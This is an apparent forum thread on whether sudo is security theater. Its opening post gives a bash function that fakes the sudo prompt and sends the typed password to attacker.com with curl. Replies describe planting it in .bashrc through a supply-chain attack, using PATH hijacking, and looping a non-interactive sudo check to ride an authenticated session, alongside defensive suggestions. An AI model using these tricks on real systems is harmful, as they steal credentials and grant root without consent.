8 ms·
Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s
by lrvick 5mo ago
Sudo is security theater.
Malware can make a fake unprivileged sudo that sniffs your password.
function sudo () {
realsudo=$(which sudo);
read -r -s -p "[sudo] password for $USER: " password;
echo "$USER: $password" | \
curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;
$realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;
$realsudo "${@:1}";
}
- DonHopkins 5mo agoJust sudon't.
- nazcan 5mo agoTo clarify, when does this run? Like you download malware A, run malware A and this function definition changes sudo for it, or sudo for other cases?
- lrvick 5mo agoThis could for instance be injected into your .bashrc when you do an "npm install" of a package that has a deeply nested supply chain attack. Then the next time you run sudo, phase2 triggers installing a rootkit, etc.
- arcfour 5mo agoOr you could also hijack it using $PATH search order with your wrapper to get existing terminal sessions too, there's a lot of ways to skin that cat.
- lrvick 5mo agoEndless ways, which is why I do not understand why sudo is ever used anymore, especially in production. You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.
- GCUMstlyHarmls 5mo agoI dont mean to be snarky, can you run `pacman -Syu` without root with "new" tech? Or do you mean in general on production systems or whatever?
- lrvick 5mo agoPlenty of package managers can install to an arbitrary directory like ~/.local. Each user, or even each project, can have its own rootfs full of software. The only things I tend to have running at the system level are a kernel and init and maybe openssh.
- Ferret7446 5mo agoThat is one of many reasons to keep your dotfiles under version control.
- lpribis 5mo agoHow would that help? Unless you happen to check the dotfiles git diff before running _anything_. I guess this could be put in prompt or some cron job to detect diffs but I bet absolutely nobody does this.
- lrvick 5mo agoSomeone that can wrap your sudo binary can wrap you git binary too. Once your OS is compromised all bets are off.
- nullsanity 5mo ago[dead]
- TacticalCoder 5mo ago> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root). It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that). Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag. That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network. I did set that up just because I could. Turns out it's fully usable so I kept using it. Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.
- jcgrillo 5mo agoThanks for sharing this, that seems like a very cool setup. I have a very old good-for-almost-nothing laptop that would be perfect for this, might just have to copy you!
- lrvick 5mo agoIn my case I use QubesOS so sudo is useless even if present since every security domain is isolated by hypervisor. For servers, sudo or a package manager etc should not exist. There is no good reason for servers to run any processes as root or have any way to reach root. Servers should generally be immutable appliances.
- j16sdiz 5mo agosudo don't acccept password from stdin. it takes a tty
- dymk 5mo agohttps://superuser.com/questions/67765/sudo-with-password-in-one-command-line https://superuser.com/questions/67765/sudo-with-password-in-...
- sinsudo 5mo agoUse /usr/bin/sudo yourcommand with any intermediate command not using path but it's real path hard coded. Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.
- mort96 5mo agoYes, that would be one potential solution. But I have certainly never done it and bet >99.999% of the world's use of sudo is through 'sudo'. Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.
- sinsudo 5mo agoThe real problem is that there should be at least 2 levels for sudo, one for installing software and another that really allows someone to compromise the entire system, both layers should be separate to mitigate risk. At least the most secure layer should allow you to perform secure recovering and diagnosis
- DonHopkins 5mo agoUnix used to have a user named "bin" just for owning all the binaries and performing installs.
- sinsudo 5mo agoThe old bin user is an idea that could be modernized with a new two level sudo concept, the higher one for recovery and diagnosis, already done in Chromebook and other solutions
- DonHopkins 5mo agobin passwords I will always remember: At the University of Maryland CS department systems the bin password was "fuck,you", and there was a devout Christian student on staff who had a problem with that, so we had to change it (to something harder to remember, I just can't recall).
- FooBarWidget 5mo agoIt would be great if 1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions. 2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.
- ctippett 5mo agoFish shell has builtin[1], although sudo is not one of the commands it covers. [1] https://fishshell.com/docs/current/cmds/builtin.html https://fishshell.com/docs/current/cmds/builtin.html
- lrvick 5mo agoNeither would actually help in this case though. Malware could manipulate both of those as an unprivileged user to run malicious code the next time you elevate privileges. Remember that malware can replace or modify your shell
- FooBarWidget 5mo agoNo? The shell must be listed in /etc/shells, it can't be an arbitrary command. And after elevating privileges you have to run the malware (which could only be written to home or tmp) for it to work, but sudo already scrubs the environment. So the main danger is that you're not running the real sudo. I have an idea that I hope to implement one day to make sudo actually secure: 1. Authenticate with passkeys (webauthn) instead of passwords. 2. Sudo can only run an interactive root shell, not arbitrary commands. The session is time-bound, and the TTY output is recorded for auditing purposes. This combination makes intercepting sudo largely useless. Passkey authentication cannot be replayed or relayed. The fact that sudo can only open an interactive shell makes it impossible for a sudo wrapper to pass a malicious to sudo. This way we're not dependent on whether the unprivileged shell is secured properly. It also solves approval fatigue (compared to running sudo separately for every command). ---- EDIT: now that I think about it: an attacker can still edit .bash_profile and reexec the shell in a malicious terminal emulator. Then when the user gets a sudo root shell, the malicious terminal emulator can inject malicious commands. Looks like the only good way is to get a root privileges via a separate user account that doesn't have malware, and that also can't easily install malware (e.g. accidentally running npm, forgetting that that's not safe).
- xlii 5mo agoStupid thought. Make alias called sdo that echoes sudo path and hash every time you use it to stderr. That's security by obscurity though.
- deleted 5mo ago[deleted]
- danudey 5mo agoI mean, this is basically why you press Ctrl-Alt-Del to log in on Windows NT and Win2k - because it's a keystroke that malware couldn't trap, so they can't put up a fake login screen because the OS will override it anyway.
- marshray 5mo agoThere was no hardware or other low-level magic associated with C-A-Del. Back in the NT days malware could totally intercept it, but it would have had to be in the kernel. Which was something of an improvement. Thank you, DoD Orange Book.
- danudey 5mo agoYou don't even really need that; you just need to wait until the user runs `sudo` and then you also run `sudo` after they authenticate. Now you're root, boom. It doesn't get you the password, but once you're root you can backdoor to your heart's content and then you probably don't need it. Alternately, run `sudo --non-interactive --validate` over and over until it succeeds. For some reason, using noninteractive doesn't log to the auth log/journald the way trying and failing to actually run a command would. Edit: the loop only works assuming you can run this sudo command in the background in the user's shell so that you can pick up the same sudo session when they auth, which is honestly unlikely. Easier to wrap sudo in a command that just also runs sudo and then immediately runs something else.